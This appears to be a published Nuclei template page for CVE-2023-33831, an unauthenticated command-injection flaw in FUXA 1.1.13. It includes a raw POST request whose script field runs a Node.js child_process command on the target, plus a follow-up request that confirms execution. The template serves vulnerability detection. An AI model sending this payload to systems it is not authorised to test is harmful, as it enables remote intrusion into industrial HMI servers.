FUXA - Unauthenticated Remote Code Execution

ID: CVE-2023-33831

Severity: critical

Author: gy741

Tags: cve,cve2023,rce,intrusive,frangoteam,fuxa,unauth

Description

A remote command execution (RCE) vulnerability in the /api/runscript endpoint of FUXA 1.1.13 allows attackers to execute arbitrary commands via a crafted POST request.

YAML Source

id: CVE-2023-33831

info:
  name: FUXA - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: |
    A remote command execution (RCE) vulnerability in the /api/runscript endpoint of FUXA 1.1.13 allows attackers to execute arbitrary commands via a crafted POST request.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33831
    - https://github.com/rodolfomarianocy/Unauthenticated-RCE-FUXA-CVE-2023-33831
    - https://github.com/codeb0ss/CVE-2023-33831-PoC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-33831
    cwe-id: CWE-77
    epss-score: 0.21555
    epss-percentile: 0.96432
    cpe: cpe:2.3:a:frangoteam:fuxa:1.1.13:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: frangoteam
    product: fuxa
    fofa-query:
      - title="FUXA"
      - title="fuxa"
  tags: cve,cve2023,rce,intrusive,frangoteam,fuxa,unauth
variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /api/runscript HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"headers": {"normalizedNames": {}, "lazyUpdate": "null"}, "params": {"script": {"parameters": [{"name": "ok", "type": "tagid", "value": ""}], "mode": "", "id": "", "test": "true", "name": "ok", "outputId": "", "code": "require('child_process').exec('id > ./_images/{{filename}}')"}}}
      - |
        GET /_images/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - 'Script OK:'

      - type: word
        part: body_2
        words:
          - 'uid'
          - 'gid'
          - 'groups'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203a0d9c7bbdca6c1e2e5338b4edf7eb46978d6e089ae886961414b5ba52f6859d022100c648e65757d19f86317433cef1da27597ce1a51cecdcbdcb5d05bdef971c70da:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-33831.yaml"

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